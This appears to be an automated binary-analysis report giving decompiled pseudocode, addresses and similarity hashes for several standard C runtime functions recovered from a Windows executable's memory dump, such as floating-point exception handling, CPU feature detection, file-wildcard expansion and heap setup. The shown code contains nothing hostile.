                          			E0016B16D(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
                          				signed int _t172;
                          				signed int _t175;
                          				signed int _t178;
                          				signed int* _t179;
                          				signed char _t193;
                          				signed int _t196;
                          				signed int _t200;
                          				signed int _t203;
                          				void* _t204;
                          				void* _t207;
                          				signed int _t210;
                          				void* _t211;
                          				signed int _t226;
                          				unsigned int* _t241;
                          				signed char _t243;
                          				signed int* _t251;
                          				unsigned int* _t257;
                          				signed int* _t258;
                          				signed char _t260;
                          				long _t263;
                          				signed int* _t266;
                          
                          				 *(_a4 + 4) = 0;
                          				_t263 = 0xc000000d;
                          				 *(_a4 + 8) = 0;
                          				 *(_a4 + 0xc) = 0;
                          				_t243 = _a12;
                          				if((_t243 & 0x00000010) != 0) {
                          					_t263 = 0xc000008f;
                          					 *(_a4 + 4) =  *(_a4 + 4) | 1;
                          				}
                          				if((_t243 & 0x00000002) != 0) {
                          					_t263 = 0xc0000093;
                          					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
                          				}
                          				if((_t243 & 0x00000001) != 0) {
                          					_t263 = 0xc0000091;
                          					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
                          				}
                          				if((_t243 & 0x00000004) != 0) {
                          					_t263 = 0xc000008e;
                          					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
                          				}
                          				if((_t243 & 0x00000008) != 0) {
                          					_t263 = 0xc0000090;
                          					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
                          				}
                          				_t266 = _a8;
                          				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
                          				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
                          				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
                          				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
                          				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
                          				_t260 = E0016957A(_a4);
                          				if((_t260 & 0x00000001) != 0) {
                          					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
                          				}
                          				if((_t260 & 0x00000004) != 0) {
                          					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
                          				}
                          				if((_t260 & 0x00000008) != 0) {
                          					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
                          				}
                          				if((_t260 & 0x00000010) != 0) {
                          					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
                          				}
                          				if((_t260 & 0x00000020) != 0) {
                          					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
                          				}
                          				_t172 =  *_t266 & 0x00000c00;
                          				if(_t172 == 0) {
                          					 *_a4 =  *_a4 & 0xfffffffc;
                          				} else {
                          					if(_t172 == 0x400) {
                          						_t258 = _a4;
                          						_t226 =  *_t258 & 0xfffffffd | 1;
                          						L26:
                          						 *_t258 = _t226;
                          						L29:
                          						_t175 =  *_t266 & 0x00000300;
                          						if(_t175 == 0) {
                          							_t251 = _a4;
                          							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
                          							L35:
                          							 *_t251 = _t178;
                          							L36:
                          							_t179 = _a4;
                          							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
                          							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
                          							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
                          							if(_a28 == 0) {
                          								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
                          								 *((long long*)(_a4 + 0x10)) =  *_a20;
                          								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
                          								_t255 = _a4;
                          								_t241 = _a24;
                          								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
                          								 *(_a4 + 0x50) =  *_t241;
                          							} else {
                          								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
                          								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
                          								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
                          								_t241 = _a24;
                          								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
                          								 *(_a4 + 0x50) =  *_t241;
                          							}
                          							E001694E6(_t255);
                          							RaiseException(_t263, 0, 1,  &_a4);
                          							_t257 = _a4;
                          							_t193 = _t257[2];
                          							if((_t193 & 0x00000010) != 0) {
                          								 *_t266 =  *_t266 & 0xfffffffe;
                          								_t193 = _t257[2];
                          							}
                          							if((_t193 & 0x00000008) != 0) {
                          								 *_t266 =  *_t266 & 0xfffffffb;
                          								_t193 = _t257[2];
                          							}
                          							if((_t193 & 0x00000004) != 0) {
                          								 *_t266 =  *_t266 & 0xfffffff7;
                          								_t193 = _t257[2];
                          							}
                          							if((_t193 & 0x00000002) != 0) {
                          								 *_t266 =  *_t266 & 0xffffffef;
                          								_t193 = _t257[2];
                          							}
                          							if((_t193 & 0x00000001) != 0) {
                          								 *_t266 =  *_t266 & 0xffffffdf;
                          							}
                          							_t196 =  *_t257 & 0x00000003;
                          							if(_t196 == 0) {
                          								 *_t266 =  *_t266 & 0xfffff3ff;
                          							} else {
                          								_t207 = _t196 - 1;
                          								if(_t207 == 0) {
                          									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
                          									L55:
                          									 *_t266 = _t210;
                          									L58:
                          									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
                          									if(_t200 == 0) {
                          										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
                          										L64:
                          										 *_t266 = _t203;
                          										L65:
                          										if(_a28 == 0) {
                          											 *_t241 = _t257[0x14];
                          										} else {
                          											 *_t241 = _t257[0x14];
                          										}
                          										return _t203;
                          									}
                          									_t204 = _t200 - 1;
                          									if(_t204 == 0) {
                          										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
                          										goto L64;
                          									}
                          									_t203 = _t204 - 1;
                          									if(_t203 == 0) {
                          										 *_t266 =  *_t266 & 0xfffff3ff;
                          									}
                          									goto L65;
                          								}
                          								_t211 = _t207 - 1;
                          								if(_t211 == 0) {
                          									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
                          									goto L55;
                          								}
                          								if(_t211 == 1) {
                          									 *_t266 =  *_t266 | 0x00000c00;
                          								}
                          							}
                          							goto L58;
                          						}
                          						if(_t175 == 0x200) {
                          							_t251 = _a4;
                          							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
                          							goto L35;
                          						}
                          						if(_t175 == 0x300) {
                          							 *_a4 =  *_a4 & 0xffffffe3;
                          						}
                          						goto L36;
                          					}
                          					if(_t172 == 0x800) {
                          						_t258 = _a4;
                          						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
                          						goto L26;
                          					}
                          					if(_t172 == 0xc00) {
                          						 *_a4 =  *_a4 | 0x00000003;
                          					}
                          				}
                          			}
























                          0x0016b17b
                          0x0016b182
                          0x0016b187
                          0x0016b18d
                          0x0016b190
                          0x0016b196
                          0x0016b19b
                          0x0016b1a0
                          0x0016b1a0
                          0x0016b1a6
                          0x0016b1ab
                          0x0016b1b0
                          0x0016b1b0
                          0x0016b1b7
                          0x0016b1bc
                          0x0016b1c1
                          0x0016b1c1
                          0x0016b1c8
                          0x0016b1cd
                          0x0016b1d2
                          0x0016b1d2
                          0x0016b1d9
                          0x0016b1de
                          0x0016b1e3
                          0x0016b1e3
                          0x0016b1eb
                          0x0016b1fb
                          0x0016b20d
                          0x0016b21f
                          0x0016b232
                          0x0016b244
                          0x0016b24c
                          0x0016b251
                          0x0016b256
                          0x0016b256
                          0x0016b25d
                          0x0016b262
                          0x0016b262
                          0x0016b269
                          0x0016b26e
                          0x0016b26e
                          0x0016b275
                          0x0016b27a
                          0x0016b27a
                          0x0016b281
                          0x0016b286
                          0x0016b286
                          0x0016b290
                          0x0016b292
                          0x0016b2cc
                          0x0016b294
                          0x0016b299
                          0x0016b2bd
                          0x0016b2c5
                          0x0016b2b9
                          0x0016b2b9
                          0x0016b2cf
                          0x0016b2d6
                          0x0016b2d8
                          0x0016b2fa
                          0x0016b302
                          0x0016b305
                          0x0016b305
                          0x0016b307
                          0x0016b307
                          0x0016b312
                          0x0016b318
                          0x0016b31d
                          0x0016b324
                          0x0016b35e
                          0x0016b369
                          0x0016b36f
                          0x0016b372
                          0x0016b375
                          0x0016b381
                          0x0016b389
                          0x0016b326
                          0x0016b329
                          0x0016b335
                          0x0016b33b
                          0x0016b341
                          0x0016b344
                          0x0016b34d
                          0x0016b34d
                          0x0016b38c
                          0x0016b39a
                          0x0016b3a0
                          0x0016b3a3
                          0x0016b3a8
                          0x0016b3aa
                          0x0016b3ad
                          0x0016b3ad
                          0x0016b3b2
                          0x0016b3b4
                          0x0016b3b7
                          0x0016b3b7
                          0x0016b3bc
                          0x0016b3be
                          0x0016b3c1
                          0x0016b3c1
                          0x0016b3c6
                          0x0016b3c8
                          0x0016b3cb
                          0x0016b3cb
                          0x0016b3d0
                          0x0016b3d2
                          0x0016b3d2
                          0x0016b3df
                          0x0016b3e2
                          0x0016b419
                          0x0016b3e4
                          0x0016b3e4
                          0x0016b3e7
                          0x0016b412
                          0x0016b407
                          0x0016b407
                          0x0016b41b
                          0x0016b423
                          0x0016b426
                          0x0016b445
                          0x0016b44a
                          0x0016b44a
                          0x0016b44c
                          0x0016b451
                          0x0016b45d
                          0x0016b453
                          0x0016b456
                          0x0016b456
                          0x0016b462
                          0x0016b462
                          0x0016b428
                          0x0016b42b
                          0x0016b43a
                          0x00000000
                          0x0016b43a
                          0x0016b42d
                          0x0016b430
                          0x0016b432
                          0x0016b432
                          0x00000000
                          0x0016b430
                          0x0016b3e9
                          0x0016b3ec
                          0x0016b402
                          0x00000000
                          0x0016b402
                          0x0016b3f1
                          0x0016b3f3
                          0x0016b3f3
                          0x0016b3f1
                          0x00000000
                          0x0016b3e2
                          0x0016b2df
                          0x0016b2ed
                          0x0016b2f5
                          0x00000000
                          0x0016b2f5
                          0x0016b2e3
                          0x0016b2e8
                          0x0016b2e8
                          0x00000000
                          0x0016b2e3
                          0x0016b2a0
                          0x0016b2ae
                          0x0016b2b6
                          0x00000000
                          0x0016b2b6
                          0x0016b2a4
                          0x0016b2a9
                          0x0016b2a9
                          0x0016b2a4

                          APIs
                          • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0016B168,?,?,00000008,?,?,0016AE00,00000000), ref: 0016B39A
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ExceptionRaise
                          • String ID:
                          • API String ID: 3997070919-0
                          • Opcode ID: 26c19aa295558e2d5000bfeae3a675e6afda6a3c4bd4b87028b9a367e7cf0a37
                          • Instruction ID: 359ee8fc5a8fb6b4b68ede947f5d4dad072c6acc908654a98b550acb015c63e8
                          • Opcode Fuzzy Hash: 26c19aa295558e2d5000bfeae3a675e6afda6a3c4bd4b87028b9a367e7cf0a37
                          • Instruction Fuzzy Hash: 92B15C31614608DFD718CF28C8D6B657BE0FF45364F258658E89ACF2A2C735E9A2CB40
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 88%
                          			E00161A1B(signed int __edx) {
                          				signed int _v8;
                          				signed int _v12;
                          				signed int _v16;
                          				signed int _v20;
                          				signed int _v24;
                          				signed int _v28;
                          				signed int _v32;
                          				signed int _v36;
                          				signed int _v40;
                          				intOrPtr _t57;
                          				signed int _t58;
                          				signed int _t59;
                          				signed int _t60;
                          				signed int _t63;
                          				signed int _t64;
                          				signed int _t65;
                          				signed int _t68;
                          				intOrPtr _t69;
                          				intOrPtr _t70;
                          				intOrPtr* _t72;
                          				signed int _t73;
                          				intOrPtr* _t77;
                          				signed int _t80;
                          				signed int _t85;
                          				signed int _t86;
                          				intOrPtr* _t88;
                          				signed int _t91;
                          				signed int _t94;
                          
                          				_t85 = __edx;
                          				 *0x1738c4 =  *0x1738c4 & 0x00000000;
                          				 *0x173010 =  *0x173010 | 0x00000001;
                          				if(IsProcessorFeaturePresent(0xa) == 0) {
                          					L22:
                          					return 0;
                          				}
                          				_v20 = _v20 & 0x00000000;
                          				_push(_t69);
                          				_t88 =  &_v40;
                          				asm("cpuid");
                          				_t70 = _t69;
                          				 *_t88 = 0;
                          				 *((intOrPtr*)(_t88 + 4)) = _t69;
                          				 *((intOrPtr*)(_t88 + 8)) = 0;
                          				 *(_t88 + 0xc) = _t85;
                          				_v16 = _v40;
                          				_v12 = _v28 ^ 0x49656e69;
                          				_v8 = _v36 ^ 0x756e6547;
                          				_push(_t70);
                          				asm("cpuid");
                          				_t72 =  &_v40;
                          				 *_t72 = 1;
                          				 *((intOrPtr*)(_t72 + 4)) = _t70;
                          				 *((intOrPtr*)(_t72 + 8)) = 0;
                          				 *(_t72 + 0xc) = _t85;
                          				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
                          					L9:
                          					_t91 =  *0x1738c8; // 0x2
                          					L10:
                          					_t80 = _v32;
                          					_t57 = 7;
                          					_v8 = _t80;
                          					if(_v16 < _t57) {
                          						_t73 = _v20;
                          					} else {
                          						_push(_t72);
                          						asm("cpuid");
                          						_t77 =  &_v40;
                          						 *_t77 = _t57;
                          						 *((intOrPtr*)(_t77 + 4)) = _t72;
                          						 *((intOrPtr*)(_t77 + 8)) = 0;
                          						_t80 = _v8;
                          						 *(_t77 + 0xc) = _t85;
                          						_t73 = _v36;
                          						if((_t73 & 0x00000200) != 0) {
                          							 *0x1738c8 = _t91 | 0x00000002;
                          						}
                          					}
                          					_t58 =  *0x173010; // 0x6f
                          					_t59 = _t58 | 0x00000002;
                          					 *0x1738c4 = 1;
                          					 *0x173010 = _t59;
                          					if((_t80 & 0x00100000) != 0) {
                          						_t60 = _t59 | 0x00000004;
                          						 *0x1738c4 = 2;
                          						 *0x173010 = _t60;
                          						if((_t80 & 0x08000000) != 0 && (_t80 & 0x10000000) != 0) {
                          							asm("xgetbv");
                          							_v24 = _t60;
                          							_v20 = _t85;
                          							_t86 = 6;
                          							if((_v24 & _t86) == _t86) {
                          								_t63 =  *0x173010; // 0x6f
                          								_t64 = _t63 | 0x00000008;
                          								 *0x1738c4 = 3;
                          								 *0x173010 = _t64;
                          								if((_t73 & 0x00000020) != 0) {
                          									 *0x1738c4 = 5;
                          									_t65 = _t64 | 0x00000020;
                          									 *0x173010 = _t65;
                          									if((_t73 & 0xd0030000) == 0xd0030000) {
                          										 *0x1738c4 = _t86;
                          										 *0x173010 = _t65 | 0x00000040;
                          									}
                          								}
                          							}
                          						}
                          					}
                          					goto L22;
                          				}
                          				_t68 = _v40 & 0x0fff3ff0;
                          				if(_t68 == 0x106c0 || _t68 == 0x20660 || _t68 == 0x20670 || _t68 == 0x30650 || _t68 == 0x30660 || _t68 == 0x30670) {
                          					_t94 =  *0x1738c8; // 0x2
                          					_t91 = _t94 | 0x00000001;
                          					 *0x1738c8 = _t91;
                          					goto L10;
                          				} else {
                          					goto L9;
                          				}
                          			}































                          0x00161a1b
                          0x00161a1e
                          0x00161a28
                          0x00161a38
                          0x00161bd7
                          0x00161bda
                          0x00161bda
                          0x00161a3e
                          0x00161a44
                          0x00161a49
                          0x00161a4d
                          0x00161a51
                          0x00161a52
                          0x00161a54
                          0x00161a57
                          0x00161a5c
                          0x00161a65
                          0x00161a76
                          0x00161a81
                          0x00161a87
                          0x00161a88
                          0x00161a8d
                          0x00161a90
                          0x00161a95
                          0x00161a9d
                          0x00161aa0
                          0x00161aa3
                          0x00161ae8
                          0x00161ae8
                          0x00161aee
                          0x00161aee
                          0x00161af3
                          0x00161af4
                          0x00161afa
                          0x00161b2b
                          0x00161afc
                          0x00161afe
                          0x00161aff
                          0x00161b04
                          0x00161b07
                          0x00161b09
                          0x00161b0c
                          0x00161b0f
                          0x00161b12
                          0x00161b15
                          0x00161b1e
                          0x00161b23
                          0x00161b23
                          0x00161b1e
                          0x00161b2e
                          0x00161b33
                          0x00161b36
                          0x00161b40
                          0x00161b4b
                          0x00161b51
                          0x00161b54
                          0x00161b5e
                          0x00161b69
                          0x00161b75
                          0x00161b78
                          0x00161b7b
                          0x00161b86
                          0x00161b8b
                          0x00161b8d
                          0x00161b92
                          0x00161b95
                          0x00161b9f
                          0x00161ba7
                          0x00161bae
                          0x00161bb8
                          0x00161bbd
                          0x00161bc4
                          0x00161bc9
                          0x00161bcf
                          0x00161bcf
                          0x00161bc4
                          0x00161ba7
                          0x00161b8b
                          0x00161b69
                          0x00000000
                          0x00161bd6
                          0x00161aa8
                          0x00161ab2
                          0x00161ad7
                          0x00161add
                          0x00161ae0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                          • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00161A31
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: FeaturePresentProcessor
                          • String ID:
                          • API String ID: 2325560087-0
                          • Opcode ID: a17f60bcb17077787a174976cd212aace38ac3a85861dd5b0297a372e22d0599
                          • Instruction ID: e684c71399b74476ea65dbaef275c78e8480b58c79b54a850d545c16bb80762a
                          • Opcode Fuzzy Hash: a17f60bcb17077787a174976cd212aace38ac3a85861dd5b0297a372e22d0599
                          • Instruction Fuzzy Hash: 9751B0B2D012059FDB28CF95DC813AEB7F0FB44314F28856AE459EB750E3749A90DB51
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 68%
                          			E0016529F(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16) {
                          				intOrPtr _v8;
                          				signed int _v12;
                          				intOrPtr* _v28;
                          				signed short* _v32;
                          				WCHAR* _v36;
                          				signed int _v48;
                          				intOrPtr _v556;
                          				intOrPtr _v558;
                          				struct _WIN32_FIND_DATAW _v604;
                          				char _v605;
                          				intOrPtr* _v612;
                          				signed int _v616;
                          				signed int _v620;
                          				intOrPtr _v648;
                          				intOrPtr _t42;
                          				void* _t47;
                          				signed int _t50;
                          				signed char _t52;
                          				intOrPtr* _t58;
                          				union _FINDEX_INFO_LEVELS _t60;
                          				int _t65;
                          				void* _t80;
                          				void* _t82;
                          				void* _t86;
                          				WCHAR* _t87;
                          				void* _t89;
                          				intOrPtr* _t92;
                          				intOrPtr _t95;
                          				intOrPtr* _t98;
                          				void* _t103;
                          				void* _t111;
                          				signed short* _t112;
                          				signed int _t118;
                          				intOrPtr* _t122;
                          				intOrPtr _t125;
                          				void* _t127;
                          				void* _t132;
                          				signed int _t133;
                          				void* _t134;
                          
                          				_push(__ecx);
                          				_t92 = _a4;
                          				_push(__ebx);
                          				_push(__edi);
                          				_t2 = _t92 + 2; // 0x2
                          				_t111 = _t2;
                          				do {
                          					_t42 =  *_t92;
                          					_t92 = _t92 + 2;
                          				} while (_t42 != 0);
                          				_t118 = _a12;
                          				_t95 = (_t92 - _t111 >> 1) + 1;
                          				_v8 = _t95;
                          				if(_t95 <=  !_t118) {
                          					_push(__esi);
                          					_t5 = _t118 + 1; // 0x1
                          					_t86 = _t5 + _t95;
                          					_t125 = E00164FC8(_t86, 2);
                          					if(_t118 == 0) {
                          						L7:
                          						_push(_v8);
                          						_t86 = _t86 - _t118;
                          						_t47 = E00164F31(_t125 + _t118 * 2, _t86, _a4);
                          						_t133 = _t132 + 0x10;
                          						if(_t47 != 0) {
                          							goto L12;
                          						} else {
                          							_t122 = _a16;
                          							_t89 = E001654E9(_t122);
                          							if(_t89 == 0) {
                          								 *((intOrPtr*)( *((intOrPtr*)(_t122 + 4)))) = _t125;
                          								 *((intOrPtr*)(_t122 + 4)) =  *((intOrPtr*)(_t122 + 4)) + 4;
                          								_t89 = 0;
                          							} else {
                          								E00165025(_t125);
                          							}
                          							E00165025(0);
                          							_t80 = _t89;
                          							goto L4;
                          						}
                          					} else {
                          						_push(_t118);
                          						_t82 = E00164F31(_t125, _t86, _a8);
                          						_t133 = _t132 + 0x10;
                          						if(_t82 != 0) {
                          							L12:
                          							_push(0);
                          							_push(0);
                          							_push(0);
                          							_push(0);
                          							_push(0);
                          							E00164DCE();
                          							asm("int3");
                          							_t131 = _t133;
                          							_t134 = _t133 - 0x264;
                          							_t50 =  *0x173018; // 0x219ee8ef
                          							_v48 = _t50 ^ _t133;
                          							_t112 = _v32;
                          							_t98 = _v28;
                          							_push(_t86);
                          							_t87 = _v36;
                          							_v648 = _t98;
                          							_push(_t125);
                          							_push(_t118);
                          							if(_t112 != _t87) {
                          								while(E001654C5( *_t112 & 0x0000ffff) == 0) {
                          									_t112 = _t112 - 2;
                          									if(_t112 != _t87) {
                          										continue;
                          									}
                          									break;
                          								}
                          								_t98 = _v612;
                          							}
                          							_t126 =  *_t112 & 0x0000ffff;
                          							if(( *_t112 & 0x0000ffff) != 0x3a || _t112 ==  &(_t87[1])) {
                          								_t52 = E001654C5(_t126);
                          								asm("sbb eax, eax");
                          								_t119 = 0;
                          								_v616 =  ~(_t52 & 0x000000ff) & (_t112 - _t87 >> 0x00000001) + 0x00000001;
                          								_t127 = FindFirstFileExW(_t87, 0,  &_v604, 0, 0, 0);
                          								_t58 = _v612;
                          								if(_t127 != 0xffffffff) {
                          									_v620 =  *((intOrPtr*)(_t58 + 4)) -  *_t58 >> 2;
                          									_t103 = 0x2e;
                          									do {
                          										if(_v604.cFileName != _t103 || _v558 != _t119 && (_v558 != _t103 || _v556 != _t119)) {
                          											_push(_t58);
                          											_t60 = E0016529F(_t87, _t103, _t119, _t127,  &(_v604.cFileName), _t87, _v616);
                          											_t134 = _t134 + 0x10;
                          											if(_t60 != 0) {
                          												_t119 = _t60;
                          											} else {
                          												goto L28;
                          											}
                          										} else {
                          											goto L28;
                          										}
                          										L32:
                          										FindClose(_t127);
                          										goto L33;
                          										L28:
                          										_t65 = FindNextFileW(_t127,  &_v604);
                          										_t58 = _v612;
                          										_t103 = 0x2e;
                          									} while (_t65 != 0);
                          									_t116 =  *_t58;
                          									_t106 = _v620;
                          									_t68 =  *((intOrPtr*)(_t58 + 4)) -  *_t58 >> 2;
                          									if(_v620 !=  *((intOrPtr*)(_t58 + 4)) -  *_t58 >> 2) {
                          										E00167F80(_t87, _t119, _t127, _t116 + _t106 * 4, _t68 - _t106, 4, E0016505F);
                          									}
                          									goto L32;
                          								} else {
                          									_push(_t58);
                          									_t119 = E0016529F(_t87,  &_v605, 0, _t127, _t87, 0, 0);
                          								}
                          								L33:
                          							} else {
                          								_push(_t98);
                          								E0016529F(_t87, _t98, 0, _t126, _t87, 0, 0);
                          							}
                          							return E00161BE7(_v12 ^ _t131);
                          						} else {
                          							goto L7;
                          						}
                          					}
                          				} else {
                          					_t80 = 0xc;
                          					L4:
                          					return _t80;
                          				}
                          			}










































                          0x001652a4
                          0x001652a5
                          0x001652a8
                          0x001652a9
                          0x001652ac
                          0x001652ac
                          0x001652af
                          0x001652af
                          0x001652b2
                          0x001652b5
                          0x001652ba
                          0x001652c3
                          0x001652c6
                          0x001652cb
                          0x001652d4
                          0x001652d5
                          0x001652d8
                          0x001652e2
                          0x001652e8
                          0x001652fc
                          0x001652fc
                          0x001652ff
                          0x00165309
                          0x0016530e
                          0x00165313
                          0x00000000
                          0x00165315
                          0x00165315
                          0x0016531f
                          0x00165323
                          0x00165331
                          0x00165333
                          0x00165337
                          0x00165325
                          0x00165326
                          0x0016532b
                          0x0016533b
                          0x00165341
                          0x00000000
                          0x00165343
                          0x001652ea
                          0x001652ea
                          0x001652f0
                          0x001652f5
                          0x001652fa
                          0x00165346
                          0x00165348
                          0x00165349
                          0x0016534a
                          0x0016534b
                          0x0016534c
                          0x0016534d
                          0x00165352
                          0x00165356
                          0x00165358
                          0x0016535e
                          0x00165365
                          0x00165368
                          0x0016536b
                          0x0016536e
                          0x0016536f
                          0x00165372
                          0x00165378
                          0x00165379
                          0x0016537c
                          0x0016537e
                          0x00165391
                          0x00165396
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00165396
                          0x00165398
                          0x00165398
                          0x0016539e
                          0x001653a4
                          0x001653c7
                          0x001653d6
                          0x001653d8
                          0x001653df
                          0x001653f4
                          0x001653f6
                          0x001653ff
                          0x0016541e
                          0x00165424
                          0x00165425
                          0x0016542c
                          0x00165449
                          0x00165458
                          0x0016545d
                          0x00165462
                          0x001654ab
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001654ad
                          0x001654ae
                          0x00000000
                          0x00165464
                          0x0016546c
                          0x00165476
                          0x0016547c
                          0x0016547c
                          0x0016547f
                          0x00165484
                          0x0016548c
                          0x00165491
                          0x001654a1
                          0x001654a6
                          0x00000000
                          0x00165401
                          0x00165401
                          0x0016540d
                          0x0016540d
                          0x001654b4
                          0x001653ad
                          0x001653ad
                          0x001653b3
                          0x001653b8
                          0x001654c4
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001652fa
                          0x001652cd
                          0x001652cf
                          0x001652d0
                          0x001652d3
                          0x001652d3

                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 1b1394846a48e09888b76fb9e8a6d6396335225e7609cb57d3318d63bfac9db3
                          • Instruction ID: 7f1e367c1720fec878b220634c20c46b5ea258f617f08e0580018fca66632029
                          • Opcode Fuzzy Hash: 1b1394846a48e09888b76fb9e8a6d6396335225e7609cb57d3318d63bfac9db3
                          • Instruction Fuzzy Hash: 0631D776900619AFCB24DF69CC85DBF77BAEB84710F54419CF80597241EB30AE50CB54
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E001670EB() {
                          				signed int _t3;
                          
                          				_t3 = GetProcessHeap();
                          				 *0x174360 = _t3;
                          				return _t3 & 0xffffff00 | _t3 != 0x00000000;
                          			}




                          0x001670eb
                          0x001670f3
                          0x001670fb

                          APIs
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: HeapProcess
                          • String ID:
                          • API String ID: 54951025-0
                          • Opcode ID: 952822b974f02ff021e0019d0ceaf08704af9f3d497efe12870e9f1d26718117
                          • Instruction ID: cd01ba1e2496fad697532cea5f9410bfbb5e26de48c300a7b1ca66766df660c9
                          • Opcode Fuzzy Hash: 952822b974f02ff021e0019d0ceaf08704af9f3d497efe12870e9f1d26718117
                          • Instruction Fuzzy Hash: 6AA00170A01216CB97408F3ABE4A2093AB9BB85691B1581A9B819C9A60EB6484D19A1A
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E0016696A(intOrPtr _a4) {
                          				intOrPtr _v8;
                          				intOrPtr _t25;
                          				intOrPtr* _t26;
                          				intOrPtr _t28;
                          				intOrPtr* _t29;
                          				intOrPtr* _t31;
                          				intOrPtr* _t45;
                          				intOrPtr* _t46;
                          				intOrPtr* _t47;
                          				intOrPtr* _t55;
                          				intOrPtr* _t70;
                          				intOrPtr _t74;
                          
                          				_t74 = _a4;
                          				_t25 =  *((intOrPtr*)(_t74 + 0x88));
                          				if(_t25 != 0 && _t25 != 0x173648) {
                          					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
                          					if(_t45 != 0 &&  *_t45 == 0) {
                          						_t46 =  *((intOrPtr*)(_t74 + 0x84));
                          						if(_t46 != 0 &&  *_t46 == 0) {
                          							E00165025(_t46);
                          							E00166487( *((intOrPtr*)(_t74 + 0x88)));
                          						}
                          						_t47 =  *((intOrPtr*)(_t74 + 0x80));
                          						if(_t47 != 0 &&  *_t47 == 0) {
                          							E00165025(_t47);
                          							E00166585( *((intOrPtr*)(_t74 + 0x88)));
                          						}
                          						E00165025( *((intOrPtr*)(_t74 + 0x7c)));
